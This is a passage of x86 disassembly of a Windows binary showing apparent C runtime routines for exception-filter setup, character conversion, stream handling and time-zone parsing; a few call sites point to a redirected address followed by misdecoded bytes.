		mov	ds:dword_45E9FC, offset	dword_45E9D4
		mov	eax, offset dword_45E9F0
		pop	esi
		leave
		retn
sub_41BE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BED3	proc near		; CODE XREF: sub_41BE6F+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41BF21
		cmp	ebx, edi
		jz	short loc_41BF1A
		lea	edi, [ecx+3C00h]
		jmp	short loc_41BF42
; ---------------------------------------------------------------------------


loc_41BF1A:				; CODE XREF: sub_41BED3+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41BF42
; ---------------------------------------------------------------------------


loc_41BF21:				; CODE XREF: sub_41BED3+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41BF39
		cmp	edx, ebx
		jnz	short loc_41BF39
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41BF84
; ---------------------------------------------------------------------------


loc_41BF39:				; CODE XREF: sub_41BED3+52j
					; sub_41BED3+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41BF42:				; CODE XREF: sub_41BED3+45j
					; sub_41BED3+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41BF5A:				; CODE XREF: sub_41BED3+A6j
		test	ecx, esi
		jnz	short loc_41BF7B
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41BF5A
; ---------------------------------------------------------------------------


loc_41BF7B:				; CODE XREF: sub_41BED3+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41BF84:				; CODE XREF: sub_41BED3+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF89	proc near		; CODE XREF: sub_415DDC+3AAp
					; sub_415DDC+3CBp ...
		push	2
		call	sub_415C7E
		pop	ecx
		retn
sub_41BF89	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF92	proc near		; DATA XREF: sub_41BFD8o
					; seg002:0042D440o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41BFB5
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41BFB5
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41BFB5
		jmp	sub_418C2C
; ---------------------------------------------------------------------------


loc_41BFB5:				; CODE XREF: sub_41BF92+Dj
					; sub_41BF92+13j ...
		mov	eax, ds:dword_45EA00
		test	eax, eax
		jz	short loc_41BFD2
		push	eax
		call	sub_41C02E
		test	eax, eax
		pop	ecx
		jz	short loc_41BFD2
		push	esi
		call	ds:dword_45EA00
		jmp	short loc_41BFD4
; ---------------------------------------------------------------------------


loc_41BFD2:				; CODE XREF: sub_41BF92+2Aj
					; sub_41BF92+35j
		xor	eax, eax


loc_41BFD4:				; CODE XREF: sub_41BF92+3Ej
		pop	esi
		retn	4
sub_41BF92	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFD8	proc near		; DATA XREF: seg002:00421020o
		push	offset sub_41BF92
		call	ds:dword_41F01C	; SetUnhandledExceptionFilter
		mov	ds:dword_45EA00, eax
		retn
sub_41BFD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFE9	proc near		; DATA XREF: seg002:00421038o
		push	ds:dword_45EA00
		call	ds:dword_41F01C	; SetUnhandledExceptionFilter
		retn
sub_41BFE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFF6	proc near		; CODE XREF: sub_41847E+6Bp
					; sub_41898F+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0A70000h
		call	far ptr	0F633h:274C085h
		mov	eax, esi
		pop	esi
		retn
sub_41BFF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C012	proc near		; CODE XREF: sub_41898F+73p
					; sub_41898F+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0A70000h
		outsd
		test	eax, eax
		jz	short loc_41C02A
		xor	esi, esi


loc_41C02A:				; CODE XREF: sub_41C012+14j
		mov	eax, esi
		pop	esi
		retn
sub_41C012	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C02E	proc near		; CODE XREF: sub_41898F+15Bp
					; sub_41BF92+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 0A70000h
		lodsb
		test	eax, eax
		jz	short loc_41C042
		xor	esi, esi


loc_41C042:				; CODE XREF: sub_41C02E+10j
		mov	eax, esi
		pop	esi
		retn
sub_41C02E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418C2C


loc_41C046:				; CODE XREF: sub_418C2C:loc_418C7Dj
		push	0Ah
		call	sub_41AFA9
		push	16h
		call	sub_41D327
		pop	ecx
		pop	ecx
		push	3
		call	sub_4158C8
; END OF FUNCTION CHUNK	FOR sub_418C2C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C05D	proc near		; CODE XREF: sub_418DCD+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41C080
		cmp	[ebp+arg_8], ebx
		jz	short loc_41C080
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41C086
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41C080
		mov	[eax], bx


loc_41C080:				; CODE XREF: sub_41C05D+Cj
					; sub_41C05D+11j ...
		xor	eax, eax


loc_41C082:				; CODE XREF: sub_41C05D+42j
					; sub_41C05D+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C086:				; CODE XREF: sub_41C05D+17j
		cmp	ds:dword_45E898, ebx
		jnz	short loc_41C0A1
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41C09C
		movzx	ax, al
		mov	[ecx], ax


loc_41C09C:				; CODE XREF: sub_41C05D+36j
					; sub_41C05D+C0j
		push	1
		pop	eax
		jmp	short loc_41C082
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41C05D+2Fj
		mov	ecx, ds:off_42D0F0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41C0FE
		mov	eax, ds:dword_42D2FC
		cmp	eax, 1
		jle	short loc_41C0E5
		cmp	[ebp+arg_8], eax
		jl	short loc_41C0EF
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_45E8A8
		call	ds:dword_41F12C	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_42D2FC
		jnz	short loc_41C082


loc_41C0E5:				; CODE XREF: sub_41C05D+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41C0EF
		cmp	[esi+1], bl
		jnz	short loc_41C082


loc_41C0EF:				; CODE XREF: sub_41C05D+61j
					; sub_41C05D+8Bj ...
		mov	ds:dword_45E804, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C082
; ---------------------------------------------------------------------------


loc_41C0FE:				; CODE XREF: sub_41C05D+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_45E8A8
		call	ds:dword_41F12C	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41C09C
		jmp	short loc_41C0EF
sub_41C05D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C125	proc near		; CODE XREF: sub_418DCD+76p
					; sub_418DCD+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_42D2FC, 1
		jle	short loc_41C13C
		push	8
		push	[esp+4+arg_0]
		call	sub_4165E6
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41C13C:				; CODE XREF: sub_41C125+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_42D0F0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41C125	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C150	proc near		; CODE XREF: sub_418DCD+797p
					; sub_418DCD+7E7p
		cmp	cl, 40h
		jnb	short loc_41C16A
		cmp	cl, 20h
		jnb	short loc_41C160
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41C160:				; CODE XREF: sub_41C150+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41C16A:				; CODE XREF: sub_41C150+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41C150	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C16F	proc near		; CODE XREF: sub_419843+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41C1BB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41C18D
		test	al, 80h
		jz	short loc_41C1BB
		test	al, 2
		jnz	short loc_41C1BB


loc_41C18D:				; CODE XREF: sub_41C16F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41C19A
		push	esi
		call	sub_41B0FC
		pop	ecx


loc_41C19A:				; CODE XREF: sub_41C16F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41C1AA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41C1BB
		inc	eax
		mov	[esi], eax


loc_41C1AA:				; CODE XREF: sub_41C16F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41C1C1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41C1C7
		inc	eax
		mov	[esi], eax


loc_41C1BB:				; CODE XREF: sub_41C16F+9j
					; sub_41C16F+18j ...
		or	eax, 0FFFFFFFFh


loc_41C1BE:				; CODE XREF: sub_41C16F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C1C1:				; CODE XREF: sub_41C16F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41C1C7:				; CODE XREF: sub_41C16F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41C1BE
sub_41C16F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1DD	proc near		; CODE XREF: seg000:loc_4198BDp
		cmp	ds:dword_45EAC0, 0
		jnz	short locret_41C1F1
		call	sub_41C1F2
		inc	ds:dword_45EAC0

locret_41C1F1:				; CODE XREF: sub_41C1DD+7j
		retn
sub_41C1DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1F2	proc near		; CODE XREF: sub_41C1DD+9p

var_4		= dword	ptr -4
arg_C		= byte ptr  10h

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_45EA08, ebp
		mov	ds:dword_42DB48, ebx
		mov	ds:dword_42DB38, ebx
		call	sub_41D499
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41C31B
		push	offset dword_45EA10
		call	near ptr 0A70000h
		mov	bh, 3Bh
		retn
; ---------------------------------------------------------------------------
		jz	loc_41C44A
		mov	eax, ds:dword_45EA10
		mov	ecx, ds:dword_45EA64
		imul	eax, 3Ch
		cmp	ds:word_45EA56,	bp
		push	1
		pop	edx
		mov	ds:dword_42DAA0, eax
		mov	ds:dword_45EA08, edx
		jz	short loc_41C269
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_42DAA0, eax


loc_41C269:				; CODE XREF: sub_41C1F2+69j
		cmp	ds:word_45EAAA,	bp
		jz	short loc_41C28D
		mov	eax, ds:dword_45EAB8
		cmp	eax, ebp
		jz	short loc_41C28D
		sub	eax, ecx
		mov	ds:dword_42DAA4, edx
		imul	eax, 3Ch
		mov	ds:dword_42DAA8, eax
		jmp	short loc_41C299
; ---------------------------------------------------------------------------


loc_41C28D:				; CODE XREF: sub_41C1F2+7Ej
					; sub_41C1F2+87j
		mov	ds:dword_42DAA4, ebp
		mov	ds:dword_42DAA8, ebp


loc_41C299:				; CODE XREF: sub_41C1F2+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_41F128
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_42DB2C
		push	ebx
		push	offset dword_45EA14
		push	edi
		push	ds:dword_45E8A8
		call	esi ; dword_41F128
		test	eax, eax
		jz	short loc_41C2D6
		cmp	dword ptr [esp+arg_C], ebp
		jnz	short loc_41C2D6
		mov	eax, ds:off_42DB2C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41C2DE
; ---------------------------------------------------------------------------


loc_41C2D6:				; CODE XREF: sub_41C1F2+D1j
					; sub_41C1F2+D7j
		mov	eax, ds:off_42DB2C
		and	byte ptr [eax],	0


loc_41C2DE:				; CODE XREF: sub_41C1F2+E2j
		lea	eax, [esp+arg_C]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_42DB30
		push	ebx
		push	offset dword_45EA68
		push	edi
		push	ds:dword_45E8A8
		call	esi ; dword_41F128
		test	eax, eax
		jz	loc_41C442
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41C442
		mov	eax, ds:off_42DB30
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41C44A
; ---------------------------------------------------------------------------


loc_41C31B:				; CODE XREF: sub_41C1F2+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41C44A
		mov	eax, ds:dword_45EABC
		cmp	eax, ebp
		jz	short loc_41C33E
		push	eax
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41C44A


loc_41C33E:				; CODE XREF: sub_41C1F2+139j
		push	ds:dword_45EABC
		call	sub_413ED3
		push	esi
		call	sub_413DB0
		inc	eax
		push	eax
		call	sub_413E5F
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_45EABC, eax
		jz	loc_41C44A
		push	esi
		push	eax
		call	sub_413CC0
		push	3
		push	esi
		push	ds:off_42DB2C
		call	sub_414DD0
		mov	eax, ds:off_42DB2C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41C393
		push	1
		inc	esi
		pop	edi


loc_41C393:				; CODE XREF: sub_41C1F2+19Bj
		push	esi
		call	sub_413A94
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_42DAA0, ecx


loc_41C3AA:				; CODE XREF: sub_41C1F2+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41C3B8
		cmp	al, bl
		jl	short loc_41C3BB
		cmp	al, 39h
		jg	short loc_41C3BB


loc_41C3B8:				; CODE XREF: sub_41C1F2+1BCj
		inc	esi
		jmp	short loc_41C3AA
; ---------------------------------------------------------------------------


loc_41C3BB:				; CODE XREF: sub_41C1F2+1C0j
					; sub_41C1F2+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41C40E
		inc	esi
		push	esi
		call	sub_413A94
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_42DAA0
		add	ecx, eax
		mov	ds:dword_42DAA0, ecx


loc_41C3D9:				; CODE XREF: sub_41C1F2+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41C3E6
		cmp	al, 39h
		jg	short loc_41C3E6
		inc	esi
		jmp	short loc_41C3D9
; ---------------------------------------------------------------------------


loc_41C3E6:				; CODE XREF: sub_41C1F2+1EBj
					; sub_41C1F2+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41C40E
		inc	esi
		push	esi
		call	sub_413A94
		pop	ecx
		mov	ecx, ds:dword_42DAA0
		add	ecx, eax
		mov	ds:dword_42DAA0, ecx


loc_41C401:				; CODE XREF: sub_41C1F2+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41C40E
		cmp	al, 39h
		jg	short loc_41C40E
		inc	esi
		jmp	short loc_41C401
; ---------------------------------------------------------------------------


loc_41C40E:				; CODE XREF: sub_41C1F2+1CCj
					; sub_41C1F2+1F7j ...
		cmp	edi, ebp
		jz	short loc_41C41A
		neg	ecx
		mov	ds:dword_42DAA0, ecx


loc_41C41A:				; CODE XREF: sub_41C1F2+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_42DAA4, eax
		jz	short loc_41C442
		push	3
		push	esi
		push	ds:off_42DB30
		call	sub_414DD0
		mov	eax, ds:off_42DB30
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41C44A
; ---------------------------------------------------------------------------


loc_41C442:				; CODE XREF: sub_41C1F2+10Bj
					; sub_41C1F2+115j ...
		mov	eax, ds:off_42DB30
		and	byte ptr [eax],	0


loc_41C44A:				; CODE XREF: sub_41C1F2+40j
					; sub_41C1F2+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41C1F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C450	proc near		; CODE XREF: seg000:00419923p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_42DAA4, edi
		jnz	short loc_41C464


loc_41C45D:				; CODE XREF: sub_41C450+148j
					; sub_41C450+150j ...
		xor	eax, eax
		jmp	loc_41C5B0
; ---------------------------------------------------------------------------


loc_41C464:				; CODE XREF: sub_41C450+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_42DB38
		jnz	short loc_41C482
		cmp	eax, ds:dword_42DB48
		jz	loc_41C584


loc_41C482:				; CODE XREF: sub_41C450+24j
		cmp	ds:dword_45EA08, edi
		jz	loc_41C55A
		movzx	ecx, ds:word_45EAB6
		push	ecx
		cmp	ds:word_45EAA8,	di
		movzx	ecx, ds:word_45EAB4
		push	ecx
		movzx	ecx, ds:word_45EAB2
		push	ecx
		movzx	ecx, ds:word_45EAB0
		push	ecx
		jnz	short loc_41C4D4
		movzx	ecx, ds:word_45EAAC
		push	edi
		push	ecx
		movzx	ecx, ds:word_45EAAE
		push	ecx
		movzx	ecx, ds:word_45EAAA
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C4D4:				; CODE XREF: sub_41C450+65j
		movzx	ecx, ds:word_45EAAE
		push	ecx
		push	edi
		movzx	ecx, ds:word_45EAAA
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41C4E8:				; CODE XREF: sub_41C450+82j
		push	ebx
		call	sub_41C5FC
		movzx	eax, ds:word_45EA62
		add	esp, 2Ch
		cmp	ds:word_45EA54,	di
		push	eax
		movzx	eax, ds:word_45EA60
		push	eax
		movzx	eax, ds:word_45EA5E
		push	eax
		movzx	eax, ds:word_45EA5C
		push	eax
		jnz	short loc_41C542
		movzx	eax, ds:word_45EA58
		push	edi
		push	eax
		movzx	eax, ds:word_45EA5A
		push	eax
		movzx	eax, ds:word_45EA56
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41C537:				; CODE XREF: sub_41C450+108j
		push	edi
		call	sub_41C5FC
		add	esp, 2Ch
		jmp	short loc_41C584
; ---------------------------------------------------------------------------


loc_41C542:				; CODE XREF: sub_41C450+C8j
		movzx	eax, ds:word_45EA5A
		push	eax
		push	edi
		movzx	eax, ds:word_45EA56
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41C537
; ---------------------------------------------------------------------------


loc_41C55A:				; CODE XREF: sub_41C450+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41C5FC
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41C5FC
		add	esp, 58h


loc_41C584:				; CODE XREF: sub_41C450+2Cj
					; sub_41C450+F0j
		mov	edx, ds:dword_42DB3C
		mov	eax, ds:dword_42DB4C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41C5B4
		cmp	ecx, edx
		jl	loc_41C45D
		cmp	ecx, eax
		jg	loc_41C45D
		cmp	ecx, edx
		jle	short loc_41C5C8
		cmp	ecx, eax
		jge	short loc_41C5C8


loc_41C5AE:				; CODE XREF: sub_41C450+166j
					; sub_41C450+16Aj
		mov	eax, ebx


loc_41C5B0:				; CODE XREF: sub_41C450+Fj
					; sub_41C450+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C5B4:				; CODE XREF: sub_41C450+144j
		cmp	ecx, eax
		jl	short loc_41C5AE
		cmp	ecx, edx
		jg	short loc_41C5AE
		cmp	ecx, eax
		jle	short loc_41C5C8
		cmp	ecx, edx
		jl	loc_41C45D


loc_41C5C8:				; CODE XREF: sub_41C450+158j
					; sub_41C450+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41C5EF
		xor	ecx, ecx
		cmp	eax, ds:dword_42DB40
		setnl	cl


loc_41C5EB:				; CODE XREF: sub_41C450+1AAj
		mov	eax, ecx
		jmp	short loc_41C5B0
; ---------------------------------------------------------------------------


loc_41C5EF:				; CODE XREF: sub_41C450+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_42DB50
		setl	cl
		jmp	short loc_41C5EB
sub_41C450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5FC	proc near		; CODE XREF: sub_41C450+99p
					; sub_41C450+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41C697
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41C627
		shl	esi, 2
		mov	eax, ds:dword_42DB50[esi]
		jmp	short loc_41C630
; ---------------------------------------------------------------------------


loc_41C627:				; CODE XREF: sub_41C5FC+1Ej
		shl	esi, 2
		mov	eax, ds:dword_42DB84[esi]


loc_41C630:				; CODE XREF: sub_41C5FC+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41C66A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41C674
; ---------------------------------------------------------------------------


loc_41C66A:				; CODE XREF: sub_41C5FC+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41C674:				; CODE XREF: sub_41C5FC+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41C6B2
		cmp	[ebp+arg_8], 0
		jnz	short loc_41C688
		mov	esi, ds:dword_42DB54[esi]
		jmp	short loc_41C68E
; ---------------------------------------------------------------------------


loc_41C688:				; CODE XREF: sub_41C5FC+82j
		mov	esi, ds:dword_42DB88[esi]


loc_41C68E:				; CODE XREF: sub_41C5FC+8Aj
		cmp	ecx, esi
		jle	short loc_41C6B2
		sub	ecx, 7
		jmp	short loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C697:				; CODE XREF: sub_41C5FC+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41C6A8
		mov	ecx, ds:dword_42DB50[eax*4]
		jmp	short loc_41C6AF
; ---------------------------------------------------------------------------


loc_41C6A8:				; CODE XREF: sub_41C5FC+A1j
		mov	ecx, ds:dword_42DB84[eax*4]


loc_41C6AF:				; CODE XREF: sub_41C5FC+AAj
		add	ecx, [ebp+arg_18]


loc_41C6B2:				; CODE XREF: sub_41C5FC+7Cj
					; sub_41C5FC+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41C6E3
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_42DB3C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_42DB38, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_42DB40, eax
		jmp	short loc_41C738
; ---------------------------------------------------------------------------


loc_41C6E3:				; CODE XREF: sub_41C5FC+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_42DB4C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_42DAA8
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_42DB50, eax
		jns	short loc_41C71B
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_42DB50, eax
		jmp	short loc_41C72C
; ---------------------------------------------------------------------------


loc_41C71B:				; CODE XREF: sub_41C5FC+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41C732
		sub	eax, edx
		inc	ecx
		mov	ds:dword_42DB50, eax


loc_41C72C:				; CODE XREF: sub_41C5FC+11Dj
		mov	ds:dword_42DB4C, ecx


loc_41C732:				; CODE XREF: sub_41C5FC+126j
		mov	ds:dword_42DB48, ebx


loc_41C738:				; CODE XREF: sub_41C5FC+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C5FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C73C	proc near		; CODE XREF: sub_41A852+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41C74D
		add	esp, 0Ch
		retn
sub_41C73C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C74D	proc near		; CODE XREF: sub_41C73C+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_45FD41[eax], cl
		jnz	short loc_41C77A
		cmp	[esp+arg_4], 0
		jz	short loc_41C773
		movzx	eax, ds:word_42D0FA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41C775
; ---------------------------------------------------------------------------


loc_41C773:				; CODE XREF: sub_41C74D+16j
		xor	eax, eax


loc_41C775:				; CODE XREF: sub_41C74D+24j
		test	eax, eax
		jnz	short loc_41C77A
		retn
; ---------------------------------------------------------------------------


loc_41C77A:				; CODE XREF: sub_41C74D+Fj
					; sub_41C74D+2Aj
		push	1
		pop	eax
		retn
sub_41C74D	endp

; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_45EAC4, ebx
		push	esi
		push	edi
		jnz	short loc_41C7CD
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41F0AC	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41C803
		mov	esi, ds:dword_41F0B0
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_41F0B0
		test	eax, eax
		mov	ds:dword_45EAC4, eax
		jz	short loc_41C803
